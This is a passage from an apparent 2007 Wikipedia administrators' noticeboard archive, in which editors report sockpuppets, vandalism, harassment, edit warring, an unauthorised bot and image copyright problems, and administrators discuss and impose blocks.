I mention that because the site is linked in 14 other places here on Wikipedia.--Isotope23 ^talk 19:45, 2 November 2007 (UTC)

Ugh. I withdraw my objection. I should put a note somewhere to go back and check to see when that code is removed in order to readd the links. spryde | talk 19:51, 2 November 2007 (UTC)

I removed the links and I'm going to blacklist it for now. If anyone notices they resolve the issue, just contact me and I'll rollback my removals.--Isotope23 ^talk 19:53, 2 November 2007 (UTC)

No objections from me to the blacklist for the time being. There has been some talk about the need for logging of entries at WP:SBL. This would be a good example of why logging should be used. -- zzuuzz ^(talk) 19:57, 2 November 2007 (UTC)

I commented the entry and posted a reason on the talkpage. Let me know if there is somewhere else this needs to be logged.--Isotope23 ^talk 20:03, 2 November 2007 (UTC)

New Wikzilla sockpuppet?

New user Williewikka is apparently the latest Wikzilla sockpuppet. As usual, removing sourced material, incivility and is already at 2RR on Eurofighter Typhoon. Currently active and already warned about ongoing activity. Please monitor and possibly checkuser. Askari Mark (Talk) 19:14, 2 November 2007 (UTC)

Blocked. CitiCat ^♫ 20:14, 2 November 2007 (UTC)

user: mahalath

http://en.wikipedia.org/wiki/Special:Contributions/Mahalath various mildly disruptive edits..not sure what the policy is in this kind of situation. Alexhard 19:44, 2 November 2007 (UTC)

Well, the place to start is with a note on the user's talk page, which I have placed. Here's a [[quick list of warning templates if you need it. CitiCat ^♫ 20:08, 2 November 2007 (UTC)

User:65.254.5.195

This IP has been used repeatedly and (almost) exclusively for vandalism. The user talk page speaks for itself. The IP has been blocked twice this year already... Is there a way to put an IP on a watch list, to check anything they do? I just reverted some vandalism it did right after getting a "last warning" about the same page... Ratfox 19:53, 2 November 2007 (UTC)

You probably want what is known as a softblock. This forces any user from this IP to login. It helps cut down the spam from school districts. spryde | talk 20:25, 2 November 2007 (UTC)

Eh, generally speaking, even bothering to warn a school-IP with a history is the equivalent of pissing into a strong wind. Just report 'em here, mention they're a school IP and go on with your life. HalfShadow 21:09, 2 November 2007 (UTC)

WP:RBI. Caknuck 23:29, 2 November 2007 (UTC)

Except that then you're liable to get your report ignored or removed because you failed to warn the editor. :( --ElKevbo 00:50, 3 November 2007 (UTC)

The AIV helperbot tags known school ip's as such, which means that the reviewing admin is fully aware that warnings are unlikely to be seen by the particular vandal. Me? I just take a quick look at the volume to noise ratio of edits and the block log - nothing but vandalism and a recent block and I block to the next level. The most important thing is to {{schoolblock}} template the talkpage to allow pupils wanting to contribute to be able to get an account. LessHeard vanU 13:30, 3 November 2007 (UTC)

Harassment and attacks

Okay, so now I've had enough of the trolling, harassment and personal attacks towards me diff 1, diff 2, diff 3 and the articles I'm involved in by 84.45.220.163 (talk · contribs) as a result of the Drake Circus and Drake Circus Shopping Centre debacle. This self professed student (aka a SPA account that is only being used for trolling etc) has taken exception to the work I've done on WP and is now attempting to disrupt to make a WP:POINT. He's constantly trolling on talk pages, making vandalistic edits (c/w non-civil edit summaries) and generally being a nuisance. I have no good faith left, I have no civility left. This Drake Circus nonsense has gone on for 2 days now and I'm pissed off with the constant crap coming in my direction. Could an administrator take charge before I find myself getting blocked for incivility. I've managed to get bugger all of any note done today just trying to sort the crap left behind by these morons. AnonEMouse has been graciously dealing with another anon IP doing the same thing and Jéské caught the admin flak yesterday. Thanks. ---- WebHamster 20:00, 2 November 2007 (UTC)

Blocked 24 hours for vandalism and trolling. IrishGuy ^talk 20:31, 2 November 2007 (UTC)

You may also want to consider 217.42.76.143 as that anon seems to have the same MO as the other IP. spryde | talk 20:38, 2 November 2007 (UTC)

I have a checkuser out on Yiwentang and (almost, if not) all the IPs from yesterday. I have not added 217.42.76.143 to it, and I can't recall offhand if I added the other one. -Jéské ^{(Blah v^_^v)} 00:31, 3 November 2007 (UTC)

There's also a possibility that Andytempt (talk · contribs) is either a sockpuppet or one of the SU meatpuppets. IrishGuy has been kind enough to nip him in the bud though. ---- WebHamster 00:44, 3 November 2007 (UTC)

We're getting overrun, add Harrybevan (talk · contribs) to the list. His MO is the same as the others, with the exception that he doesn't seem to vandalise, just troll... yet! ---- WebHamster 01:27, 3 November 2007 (UTC)

And another SPA joins the Drake Circus circus. 86.146.138.94 (talk · contribs) is already handing out attacks and incivility here and based on the edit summaries in his contrib list he seems keen to be blocked. ---- WebHamster 02:25, 3 November 2007 (UTC)

Add them to the CU request as they pop up, please. It hasn't been responded to yet, and if we find that these are Yiwentang socks... -Jéské ^{(Blah v^_^v)} 04:02, 3 November 2007 (UTC)

CU Results

The Checkuser came back Likely that Yiwentang is using the IPs, but I didn't provide evidence for the named accounts. -Jéské ^{(Blah v^_^v)} 19:37, 3 November 2007 (UTC)

Sockpuppet on Jimbo Wales's page

Resolved

 – Another one bites the dust Guy (Help!) 22:08, 2 November 2007 (UTC)

Wikipedia:Suspected sock puppets/Earthenboat - This person appears to be back on as User:Newlyheads. • Lawrence Cohen 21:23, 2 November 2007 (UTC)

Thanks for the heads up, I have already removed his comment from their twice because it contained an albeit vague legal threat. Thanks, SqueakBox 21:25, 2 November 2007 (UTC)

Probable Jon Awbrey sock, see Wikipedia:Suspected sock puppets/Earthenboat. Thanks, SqueakBox 21:38, 2 November 2007 (UTC)

If anyone has a moment

Can someone skim a second pair of eyes over this AfD, which (aside from degenerating into a farce of sockpuppetry) is starting to fill up with bizarre BLP violations and vague allegations of interference by the Cabal, all by the (almost)-SPA Farstriker (talk · contribs)? As I've already posted a fair amount to this AfD - and apparently am now part of the Cabal myself - it would probably be less likely to end in a reversion/block cycle if someone who hasn't commented did any necessary snipping.

Also, if I am now a member of the Cabal, I'd like to lodge my extreme displeasure that neither the groupies nor the secret Wikimedia gold bullion have turned up yet. — iridescent 01:08, 3 November 2007 (UTC)

I've refactored the really egregious part and left a friendly message. Your cabal certificate and pin are in the mail, along with the key card to access the gold bullion stored at your local branch of the Federal Reserve. Unfortunately, the groupies have been diverted for an important strategy session at the Pentagon and will not be available for several days. --Haemo 01:39, 3 November 2007 (UTC)

Thanks... (The annoying thing about that AFD is that all the WP:OTHERCRAPEXISTS arguments are quite right in his case.) — iridescent 01:48, 3 November 2007 (UTC)

Please note that cabal membership entitles you to access to the Bar de l'Admin Rouge on production of a block log containing at least one user whose username indicates a crusader for The Truth™. I see your block log qualifies you here. Guy (Help!) 09:37, 3 November 2007 (UTC)

Interesting Discussion I do note that a fair portion content was removed prior to the the edit by Farstriker @ 1900 on the 2/11 it was this diff by Farstriker at 0100 on the 2/11.but was restored two minutes later here and his comment was removed in the reversal process in error. Gnangarra 10:10, 3 November 2007 (UTC)

User:Rkowalke insists on exposing personal details of fellow editor

User:Rkowalke is a WP:SPA that graduated from Warren National University (WNU) and now edits primarily just that article and the talk page. He has exhibited what I would characterize as an edit pattern of trying to minimize any negative information about WNU. He exhibits severe violations of WP:AGF frequently bordering on violations of WP:NPA against any editor that adds information critical of WNU to the article. He has talked about revealing what he believes is my personal name despite my protest and requests that he discuss the article and not discuss his fellow editors, [117], [118], and [119]. His editing pattern includes blatant plagiarism at which point he showed zero remorse but instead denied that copying information from the WNU website and including it without quotes or reference was plagiarism because this was for the WNU article and he wasn't claiming that he wrote it. Talk:Warren_National_University/Archive_2#Faculty_Section_plus_miscellaneous_.28plagiarism.29 He has been banned for violating WP:3RR [120]. Since his block for 3RR his edit warring has gotten much better but he has probably become even less civil. For example, he recently has insisted on posting the city location for an anon account that added an edit that he didn't like. [121] [122] [123] [124] [125] Any help or suggestions would be appreciated. TallMagic 03:02, 3 November 2007 (UTC)

I agree with TallMagic that posting the city location is highly improper, as it is clear from other contributions by this IP under what user name this IP used to edit. --Paul Pieniezny 03:34, 3 November 2007 (UTC)

User:I already forgot

I_already_forgot (talk · contribs · deleted contribs · nuke contribs · logs · filter log · block user · block log), a user with an otherwise unimpeachable contribution history, left this terribly inappropriate comment at this user's RfA. The nature of the comment (overtly sexual and subtly threatening in nature) is quite decidedly inappropriate, and would be seen as trolling from most any user, but, as noted, User:I already forgot hasn't done anything like this before, so there is a small chance the account could be compromised. Until he explains himself and accounts for his comment, I feel he should remained blocked. --Jeffrey O. Gustafson - Shazaam! - <*> 08:00, 3 November 2007 (UTC)

I agree with the block. The comment is completely out of step of the user's other contributions. -- Flyguy649 ^talk 08:04, 3 November 2007 (UTC)

To Catch a Predator? Block was justified. the_undertow ^talk 08:07, 3 November 2007 (UTC)

I concur. I received email regarding the comment after I reverted it, but even then, while the intentions of the comment were explained, they were out of line. -- Anonymous Dissident^Talk 08:09, 3 November 2007 (UTC)

Now that the edits have been explained (you may or may not disagree, but you know that the user hasn't gone batshit insane, and they haven't lost control of their account), can xe be unblocked? WODUP 08:23, 3 November 2007 (UTC)

The user was likely responding (oddly and inappropriately) to this edit, in which I did say that I had no problems with pornography. However, in *this* case, my response would be akin to this, which is to say that an RfA is a completely inappropriate place to put something like that, as no one expects to see adult content in the middle of it. I support this block not because it was 'defending' me, but because there are places on Wikipedia where content of an adult nature is reasonable and to be expected (if, say, I searched for either of the terms he mentioned), and there are places where it is not. An RfA was not the place to pose the question so explicitly. --Thespian 08:56, 3 November 2007 (UTC)

• Endorse the block wholeheartedly. There should be no place for trolls like him in Wikipedia. MaxSem 09:33, 3 November 2007 (UTC)
• A pound says this is also Forgetaboutit4000 (talk · contribs · deleted contribs · logs · filter log · block user · block log). Endorse, anyway. Guy (Help!) 12:45, 3 November 2007 (UTC)

Obviously you exhibit poor judgment as you are not even close. I'm sure a check user has been performed many times and has shown I only use my bot account and the I already forgot account. What makes you come up with such nonsense? Just because the other user has "forgot" in his/her name? Thats some pretty shallow detective work. Sorry for being pointed but the personal attacks are not warranted.I already forgot —Preceding unsigned comment added by 68.26.178.226 (talk) 17:30, 3 November 2007 (UTC)

• You guys really do not have a clue do you? Not only do you have a misunderstanding of what trolling is, you now accuse me of having sock accounts? I could insert a load of diffs to clue you in on to what is going on, but it's rather comical as I know most user cant or will not read past the first sentence. Also, please do not make completely and totally false accusation of me having sock accounts or being related to porn at all. It only makes you look more clueless as to what happen and to the other existing policies that would allow a person to ask for help with such articles. I could call up the anti censor crowed and cite WP:CENSOR(hello policy) to back me on this, but I'm neither pro or con censorship and would personally like to the image removed from the list of sex position article and the title "fist fuck" removed from the fisting article as well. Blocking me is fine, but don't make totally false slanderous accusations with out proof of such. I slandered no one, made no threats, and used wikipedia policy to ask a very controversial question whether you like it or not. Again, actually do some reading before speculating and try to make yourself informed and not so clueless. I already forgot —Preceding unsigned comment added by 68.26.178.226 (talk) 17:19, 3 November 2007 (UTC)

Also, when is the last time a troll sent a message to an admin informing them of their intentions? I suggest a few read up on trolling so they know exactly what it is and when to turn the mop into a billyclub. I already forgot —Preceding unsigned comment added by 68.26.178.226 (talk) 17:37, 3 November 2007 (UTC)

I shouldn't have to mention this, but wouldn't it also be a good idea to block my bot and remove it's bot flag? I know how the system works better than any troll or vandal and could get away with a lot of damage as I can pretty much program anything you need done on wikipedia. If I am indeed a troll or even suspected, this should have been the first thing blocked. Just giving a heads up on how such issues should be handle by the blocking admins as I have no plan to abuse wikipedia but the bot should be blocked anyway to prevent potential abuse by a disgruntled user.I already forgot —Preceding unsigned comment added by 68.26.178.226 (talk) 18:10, 3 November 2007 (UTC)

I can't endorse an indef block on this account. Blocks are not meant to be punitive, etc, and it's highly unlikely that there will be an further disruption as a result. Having said that, his comment was disturbing in the extreme and totally uncalled-for regardless of the rationale. Like, seriously - Alison ^❤ 18:53, 3 November 2007 (UTC)

I agree about the disturbing nature of the image but be aware that it is in one of our top 100 articles! The "fist ****" is in one of our articles as well! Disturbing or not, we have many user pushing for these type of pages and images and it has caused many grief in my vandal fighting. These things cannot be ignored and we need to know how admins will handle similar situations. --Anon user formely known as I already forgot70.6.66.144 19:53, 3 November 2007 (UTC)

Sorry, but messing around[126] on the same RfA that you posted the comment on, block evasion by socking, etc, etc is a deal-breaker for me. You've been blocked. Stand up address the root cause instead of fooling around. You've no regard for the rules you seem so concerned about - Alison ^❤ 21:03, 3 November 2007 (UTC)

I have mixed feelings about the length of the block. I was shocked by the inappropriate RfA comment too; both because it was replaced by the user when removed, and for the breathtaking inappropriateness of what was said. I think I understand what the user's intentions were, and those too are deeply inappropriate. RfA is not meant to be a trial by ordeal. I should note that I was just having a relatively civilised discussion with the user at Wikipedia talk:WikiProject Firearms#Keep or remove (part 2). In my opinion, I already forgot needs to learn better how we work here; if he shows any sign of appreciating what he has done wrong and undertakes not to repeat the offensive behaviour, I would support reducing the block to a week. So far I have not really seen any evidence of this, and the propensity to threaten, wikilawyer and bluster seen in the posts above make me think we would not be losing much by leaving the block in place. --John 19:02, 3 November 2007 (UTC)

I've blocked User:68.26.178.226, for evading User:I already forgot's block, based on comments made here, at User talk:I already forgot, and, Thespian's RFA. I only blocked for 24 hours, as I assume we'll have this worked out by then. SQL^{Query me!} 19:10, 3 November 2007 (UTC)

You're kidding right? You can block my account but you cant keep me from ever editing again (Hello account indef blocked). I had a feeling you where not completely ready for adminship... At least it must feel good for you to get some payback for me opposing your RFA right? No one has yet to provide a policy I violated (other than editing style), so my statements of admin abusing their powers are ringing through here. --anon user formerly known as I already forgot —Preceding unsigned comment added by 70.6.66.144 (talk) 19:41, 3 November 2007 (UTC)

So instead of fessing up to the fact that you made a mistake & apologizing, you'd rather play a game of whack-a-mole with the rest of us? Everyone has a momentary lapse of judgement, & does something wrong. If you understand why what you did was wrong, admit to having made a mistake, then this will all be over & we all can move forward & continue to improve this encyclopedia. However, if your pride is so important that you want to compound a moment's mistake with countless more -- such as this sockpuppetting foolishness -- it will only lead to the rest of us (who I bet are like me, who until now had no opinion about you good or bad) deciding to pitch in & making an indef block into a permanent community ban from Wikipedia. -- llywrch 20:27, 3 November 2007 (UTC)

I hadn't seen this when I made my previous comment. I did notice a certain pointiness in my previous dealings with him, and a willingness to argue for argument's sake, rather than be guided by consensus. Although this user has made some good contributions and is clearly intelligent and knowledgeable, unless he is willing to abide by our core values (including consensus and civility), there is nothing here for him, and nothing lost in leaving the block in place. Continuing attempts to game the system just make that more inevitable. At this point the ball is firmly in I already forgot's court. I suggest they think seriously about the choices they make from here on, if they wish to continue to contribute here. --John 20:47, 3 November 2007 (UTC)

I think the fact that this has blown up into such an issue is rather ridiculous. Of course I already forgot could have displayed much more tact and courtesy in asking his question/testing Thespian, but are we permanently blocking members for one instance of inappropriate tone in 4000+ otherwise contributing edits? Block him for a few days at most, but a permanent block is unnecessary, especially given what's usually necessary for immediate permanent blocks (trolling or vandalism-only accounts, sockpuppets, etc.). This isn't a troll's first edits, but an otherwise good member of the community slipping up once. I'm not defending the style of I already forgot's question, but it isn't something to permaban someone over. — ዮም | (Yom) | Talk • contribs • Ethiopia 22:18, 3 November 2007 (UTC)

I agree with you Yom that this user could have shown much more tact in the original question. And before I encountered a browser crash, my comment to this thread was along the lines of "You did something worse than harassing someone -- you were wrong." (And this response to his misbehavior didn't help the situation.) However, he came back with a couple of sockpuppets, claiming that we can't block him; that doesn't convince anyone he's been misunderstood, & is still a valuable contributor. Then again, I haven't seen any more posts from him, so maybe he understood what I was trying to say & took a break from Wikipedia to calm down, collect his thoughts, & will engage in some constructive dialogue. That would end the block pronto, & if he had done this in the first place, it would have been over in a few hours or less. I have no problem with letting him come back; as I wrote above, I don't have an opinion about him, good or bad. My comment above was more along the lines of advice, rather than a threat from some power-hungry Admin. -- llywrch 23:20, 3 November 2007 (UTC)

Unless I am missing something we have a good 'pedia builder who said one really inappropriate comment and is indefinitely blocked. I am not sure how this is consistent with the way some other cases are handled with destructive edit wars, reverts and ample swearing in edit summaries. Why is this not a 1 or 3 day block and be done with it? cheers, Casliber (talk · contribs) 22:39, 3 November 2007 (UTC)

An indefinite block was justified before the block evasion, and now is somewhat obvious. Addhoc 22:46, 3 November 2007 (UTC)

Wikipedia:Suspected sock puppets/Porcupine

Resolved

 – Martinp23 will handle

— Rlevse • Talk • 14:26, 3 November 2007 (UTC)

Could someone deal with this, please, making sure that you look at the page's history, plus the talkpages of myself + the nominator. Cheers!--Porcupine (see my userpage for details) 09:08, 3 November 2007 (UTC)

Thank you. I have closed the discussion. Repeated incivility has been withstood and I don't want to take part in the discussion any more. Auroranorth (sign) 09:10, 3 November 2007 (UTC)

But you haven't. I'll do so now.--Porcupine (see my userpage for details) 09:11, 3 November 2007 (UTC)

Please remove the speedy deletion tag from WP:SSP. Auroranorth (sign) 09:12, 3 November 2007 (UTC)

I've done so. I'm really quite efficient.--Porcupine (see my userpage for details) 09:14, 3 November 2007 (UTC)

(removed discussion headers, etc.) Will be archived in due course. Auroranorth (sign) 09:25, 3 November 2007 (UTC)

Note Rambutan/Porcupine/Circuit Judge closed the SSP on himself. This was reopened as that's a COI issue. The blocking admin, Martinp23, was contacted and will take the issue from here. Rambutan/Porcupine/Circuit Judge asked Martinp23 to block his account and promised not to edit til Jan 20, 2008 or so. Rambutan/Porcupine/Circuit Judge then opened the Circuit Judge account one week later and began heavy editing, which precipitated this thread and the SSP case. Rambutan/Porcupine/Circuit Judge admitted Circuit Judge was his, but there appears to be no socking going on. Martinp23 will handle the trust issue. — Rlevse • Talk • 14:26, 3 November 2007 (UTC)

Of my 97 edits over 3 days, only 3 have been mainspace; most of the others have been "housekeeping" in setting up the new accoutn, or dealing with the stupid sock-report. Scarcely "heavy editing"!--Porcupine (see my userpage for details) 15:03, 3 November 2007 (UTC)

• I have a serious problem with this continued changing of usernames to avoid the history of past blocks, while continuing the same kind of behaviour. I'd want to see some evidence that the user is no longer going to be an edit warrior before we sit back and let him put the past behind him again. Guy (Help!) 14:52, 3 November 2007 (UTC)

José Galisteo

The subject of this article (which I wrote) has emailed me, demanding that we remove all gay references (even the fact that he performed at Europride and that he has gay fans) and all references to the fact that he served in the military. All contentious material is sourced and the article was vetted by several editors, including an admin. I even found a Spanish speaking editor to read the source material, just to double check my translation. Since I was emailed, I posted this on The LGBT Project talk page, where the consensus was that as it is sourced it should stand. I posted it to the BLP Noticeboard, too, but that page is not well trafficked, alas, so I am posting here to get a wide community consensus on how to proceed. I have emailed Galisteo, explaining Wikipedia policies and saying the article is currently being reviewed to ensure conformity with said policies. He emailed me once again, reiterating that the material should be removed, and saying his fan club site is the best source of information. He has also reverted both the English and Spanish articles. Please review. I will not be editing this article myslef for the foreseeable future, as I feel it would be a conflict of interest as both the article's creator and a fan of Galisteo (though this incident has made me see him in a different light). Jeffpw 09:42, 3 November 2007 (UTC)

I forgot to add that the email was web based (hotmail) so there is no way to actually verify it is the subject himself or somebody else. I am assuming good faith and going with the presumption that it is actually him. Jeffpw 09:54, 3 November 2007 (UTC)

Ask him to mail OTRS (info-en-q@wikimedia.org) detailing precisely what the problem is, and which text is inaccurate, preferably with some kind of evidence. Guy (Help!) 11:49, 3 November 2007 (UTC)

Himayat-Anjuman-i seemingly worthless editing

I am keeping an eye on the contributions of Himayat-Anjuman-i (talk · contribs) who is making a large number of edits with the edit summary "cleanup using BravoWIki", a client I have never heard of. Most of his/her edits seem completely worthless such as changing the position of stubs in articles. I have left a message on the talk page as have a couple of other editors. I wonder if a block may be in order of the user cannot explain this editing pattern? Tim! 10:16, 3 November 2007 (UTC)

A block certainly isn't in order but he's more than likely using those summaries to appear "better" than your average editor. Someone else should have a word with him but I wouldn't go as far as blocking him (Even though I can't)--Phoenix-wiki (talk · contribs) 12:11, 3 November 2007 (UTC)

On second thoughts, it looks like he's running an unauthorised bot from his account. An admin should investigate further--Phoenix-wiki (talk · contribs) 12:14, 3 November 2007 (UTC)

Indeed. Everything points to an unauthorized bot: about 1,000 (seemingly useless) edits in 7 hours many of them performing different trivial tasks seconds apart, all with an identical edit summary.--Fuhghettaboutit 12:27, 3 November 2007 (UTC)

I was about to but Maxim already blocked.--Fuhghettaboutit 12:29, 3 November 2007 (UTC)

User:3meandEr and Northern Cyprus

3meandEr (talk · contribs · deleted contribs · page moves · block user · block log), a new editor and apparent single-purpose account, has repeatedly been edit warring on Northern Cyprus (edit | talk | history | protect | delete | links | watch | logs | views) since creating his account on 4 October. He has sought to replace the existing intro with a new and very POV version (see e.g. [127]) as well as littering the article with "weasel word" tags. This was reverted several times by different editors. Aecis (talk · contribs · blocks · protections · deletions · page moves · rights · RfA) protected the article on 7 October to stop the edit war. However, 3meandEr resumed edit warring within hours of the protection expiring on 21 October, and on 22 October I protected the article again to stop the edit war. I intervened on the talk page in an attempt to explain to 3meandEr what our policy requires. I also warned 3meandEr on his talk page not to resume edit warring or violating policy. After I unprotected the article on 1 November, 3meandEr began edit warring again and Aecis once again protected the article.

As things stand, the article has been editable for only about 1.5 days over the past month, solely because of this one disruptive editor. Aecis, ProhibitOnions (talk · contribs · blocks · protections · deletions · page moves · rights · RfA) and I have tried working with him to educate him about WP:NPOV, WP:SOAP, WP:CONSENSUS, WP:V, WP:CITE, WP:RS, WP:NPOV and WP:OR. As this exchange indicates, 3meandEr simply doesn't get (or more likely doesn't want to get) Wikipedia's basic policies. This has been going on for a month now and I see no realistic possibility that he is going to start cooperating.

I'd be grateful if an uninvolved admin could review this situation. Wikipedia isn't being run for the benefit of abusive editors and it's unsatisfactory that an important article should be off-limits for a month because of one person who wants to use Wikipedia as a soapbox. I recommend blocking or banning 3meandEr as a disruptive SPA. I can't block him myself, since I've edited the article. -- ChrisO 11:10, 3 November 2007 (UTC)

I agree wholeheartedly with the above assessment. A quick look at the article's talk page shows several users (of various backgrounds, not just "Turkish POV") trying to reason with this SPA with no success whatsoever. Note that the poorly written, propagandistic additions to the article the user proposes (or makes, as soon as the article is unlocked) have not changed in the slightest. ChrisO has a reputation as a great mediator -- I don't suspect he'd be posting here except as a last resort, and he is only doing so after a lot of fruitless effort to get this SPA to work productively on the article. ProhibitOnions ^(T) 11:26, 3 November 2007 (UTC)

Blocking for a week (for starters, and will re-block immediately if he continues after that). You guys are right, we can't keep the article protected forever just because of him. Fut.Perf. ☼ 11:29, 3 November 2007 (UTC)

I agree with ChrisO's analysis of 3meandEr's editing behaviour. It is uncooperative and opinionated at best. Basically it's just his editing that has led to the last three or four protections of the article. The other editors, who are on all sides of this issue (pro-Cyprus, pro-Northern Cyprus and uninvolved), appear to be willing to work towards a compromise that meets all of Wikipedia's guidelines and policies. 3meandEr's editing is keeping them from reaching that consensus and compromise. What ChrisO and I disagree about (see User talk:Aecis#Northern Cyprus and User talk:ChrisO#3meandEr) is what stage 3meandEr has reached. ChrisO basically feels that he has crossed the line and should be blocked, while I feel he should receive a stern final warning now and should be blocked the next time. Having said that, I can live with the block FutPerf issued. Aecis^Brievenbus 12:22, 3 November 2007 (UTC)

Two things led me to that conclusion. The first was his willful resumption of edit warring even after I'd explicitly warned him against it, and the second was his exchange with you on your talk page and his. I concluded that he had no intention of following policy and was making it clear that he wouldn't do so in future. There was nothing to be gained by allowing him to continue editing, as he wasn't going to agree to anything that restricted his POV-pushing. -- ChrisO 14:46, 3 November 2007 (UTC)

User is already blocked for a week. When he returns he will have a choice to discontinue his previous behavior, and if he does not, block again in an escalating rate (two weeks, one months, etc.) ≈ jossi ≈ (talk) 15:02, 3 November 2007 (UTC)

I agree with ChrisO's analysis of the situation. Keeping a page protected due to a single disruptive editor is not fair to the other editors who are trying to work productively toward a consensus version. In its current form Northern Cyprus is reasonably balanced, and (until 3meandEr took over) there was a cooperative effort going on to improve the lead and the referencing. EdJohnston 15:11, 3 November 2007 (UTC)

3meandEr really doesn't seem to understand what's wrong with his/her version. Either the editor is being intentionally obtuse, or s/he simply doesn't understand NPOV. 3meandEr seems to have only edited articles related to Cyprus. S/he needs some diversity in his/her editing. I'd say unblock on the condition that s/he stays away from articles related to Turkey and Cyprus (including talk pages). In a few months, if s/he settles down a bit, we should reconsider. Guettarda 15:08, 3 November 2007 (UTC)

the pest of Plymouth

For some time now there has been a tiresome campaign by somebody using a series of UIDs and IP numbers -- or conceivably more than one person, with remarkably similar obsessions and propensities to mock, whinge, vandalize, bluster, threaten, misread and make spelling mistakes -- who's most worked up about (i) what he thinks is the dreadfulness and insignificance (odd combination, yes) of Drake Circus Shopping Centre (Plymouth, SW England; a town of which I know little), (ii) its alleged misappropriation of the name Drake Circus, and (iii) the systemic failures of WP evidenced by its biased coverage of this and other Plymouth-related stuff. (And predictably he also says WP is a mere joke.) On occasion he's been countered by an apparent defender of the shopping centre, though I've wondered if the defender is real or merely a rhetorical device.

Both articles have been sprotected (which seems odd for something so local), but after ranting on the talk pages he's been posting tiresome squib after tiresome squib there, some of them at least appearing to ask a valid question (until one realizes that it merely demonstrates a wilful refusal to read an earlier response). WebHamster, I and others have been doing our best to answer him or (since he's clearly uninterested in answers other than as fuel for more trolling) swatting him away. On occasion, of course, we've got slightly wound up or even fed the troll: if you bother to go through the verbiage, you'll see miscellaneous, er, civility malfunctions of mine.

I'm tempted to be BOLD and announce that I'll delete anything even smelling of trollery; but even if that were permissible, implementing it would probably just encourage him to fan out to other articles: as it is, he's conveniently localized. The troll hasn't managed to irritate me except in the considerable amount of time he has wasted. For this, assistance would be welcome; a new (and "killer"?) countermeasure that I haven't thought of even more welcome. -- Hoary 13:50, 3 November 2007 (UTC)

Please don't think I'm being incivil, Hoary, but I've been monitoring those discussions, and I can't help thinking that you have fanned the flames of his ire by continually replying to his every remark (not exactly, but you know what I mean). I'm far less experienced here than you, of course, but once a person's credentials are established as "troll", I always thought that the best policy is to simply monitor their input and only respond when necessary (when a valid clearly-stated point is made, or with a standard warning, as appropriate). This is how such people used to be dealt with on Usenet, for instance. Hope this helps, Smalljim 14:26, 3 November 2007 (UTC)

You may very well be right, Jim. Perhaps one problem has been that there has been more than one person dealing with him: I've thought that if I didn't respond then Hamster or you or someone else would have to, and Hamster may have thought similarly. Meanwhile, please don't worry about being less than civil to me: (i) you weren't at all, and (ii) being pretty thick-skinned, I wouldn't have minded if you had been. -- Hoary 14:43, 3 November 2007 (UTC)

Thanks for the reply, old man. As you're hinting, when taking part in discussions on any public forum it's important to bear in mind all the other people who will read your contributions. Too many people, I think, focus exclusively on the individual they're immediately replying to.

It's true that in cases like this one it can be tricky to communicate your desire to other potential participants not to continue the discussion with the troll. I don't think there is any quick and painless solution. Silence won't work. Neither will calls to Please stop!... Strident calls for everyone to send the troll to Coventry will usually be ignored ("who's he to say what I do?") and would probably violate some guideline here. However short replies to the troll along the lines of "I am not going to reply until you phrase your comments in a relatively polite and coherent manner" can be useful because the other potential participants often take the hint, especially if you are seen to be in a position of some authority. The one thing that trolls cannot tolerate is sunlight being ignored.

You probably know all this already. I'm sure I've read it somewhere; I'm not bright enough to have made it up myself! --Smalljim 16:46, 3 November 2007 (UTC)

So a quick castration and a soak in a salt bath isn't the way to go then? ---- WebHamster 19:39, 3 November 2007 (UTC)

Note about impersonator User:Barnecaration, and a request for a protected page edit

An impersonator, User:Barnecaration, inappropriately responded to about 25 unblock requests from 10/31 to 11/1, and signed my name instead of their own. Since several admins replied to those users, and at least a couple of them initially thought it was me, I'd just like to make a quick, general announcement that it wasn't me (see here).

• Also, Netsnipe reverted most of their responses, but there were a couple remaining where my signature was shown on the talk page. Per Lar's suggestion, I've struck out my signature on all of them but one. User talk:PBCF is protected, so a protracted discussion between the blocked user and the faux-me is still there. Could an admin please strike out my signature, or better yet, just remove the inapplicable unblock requests? I'm an idiot, it's only semi-protected. nevermind.

Thank you. --barneca (talk) 15:41, 3 November 2007 (UTC)

Legal threat on the Helpdesk

Resolved

An IP user has just posted a rant on the helpdesk. [128] Among the text of the rant, which apparently blames Wikipedia for them not being able to access Google on their mobile, is a threat to contact the FCC. Now while I know that the FCC won't be able to do anything about it, I still believe it goes against WP:LEGAL. I would respond, but in these situations, I usually piss them off or make the situation worse in some other way. I believe that a sysop needs to take action. NF24^{(radio me!}_{Editor review)} 15:59, 3 November 2007 (UTC)

Blocked for 6 months. We have no place this kind of crap on Wikipedia. Maxim_{(talk) (contributions)} 16:08, 3 November 2007 (UTC)

At least we can get a good laugh out of it. ---J.S (T/C/WRE) 17:01, 3 November 2007 (UTC)

I would not bite a newbie. It is not a legal threat. I would have said "I am sorry that you feel that wikipedia is affecting your google access. If you have further information, please let me know. Your help in resolving this matter, even if it involves the FCC, is more productive than a potentially hostile complaint where you don't give us enough information to solve a potential problem." The user did not threaten to sue. That's a legal threat. Making an ordinary complaint is not a legal threat as much as complaining to ArbCom is not a legal threat. I would block only if the response was hostile. I do suspect this is a crank. Miesbu 18:20, 3 November 2007 (UTC)

A "legal threat" isn't only a threat of a lawsuit. It can also be a threat to call the police, a threat to contact federal authorities (such as the FCC), etc. -Jéské ^{(Blah v^_^v)} 21:28, 3 November 2007 (UTC)

Abusive, threatening talk page post by User:81.107.36.188

Resolved

Go and die. I hope that you meet with an "accident" involving a rusty knife and a double glazed window salesman. Here's the diff. The reason was I posted a vandalism warning to the user's talk page. Lurker (said · done) 16:15, 3 November 2007 (UTC)

1 week. Maxim_{(talk) (contributions)} 16:39, 3 November 2007 (UTC)

Although of course, this is nasty vandalism; I wouldn't get worried, it's just people who think they're funny (obviously they're not). Cheers, Qst 17:31, 3 November 2007 (UTC)

Canvassing of user:Ireland101

This user is notifying ethnic Macedonian users about a vote for deletion of a few ethnic Macedonian songs. ForeignerFromTheEast 19:00, 3 November 2007 (UTC)

Possible Image Copyright Issues

Could an administrator have a look at these uploads? I don't think any of them are fair use-able, and in any case, they've all be taken off a website. I include below the post on my talk page which alerted me to the problem, as I think it explains the problem best:

You seem knowledgeable in this area, and I've noticed you've dealt with this before. I am new to the uploading of images issue. However, I've noticed an image that has been uploaded and being used on an article claiming that it is a fair-use image and a screenshot of a television program. In reality, it is not a screenshot, rather an image taken by a photographer placed on website with a policy stating "(Company Name) does not issue licenses for internet use." Obviously, this detail was not in plain view but was easy to find. How would I go about this? Again, I'm new to the images issues. I hope you can shed some light on this. Thank you.

I also think that quite a few of them may be reposted material. Is this allowed? Chase me ladies, I'm the Cavalry 19:03, 3 November 2007 (UTC)

Sakis Rouvas

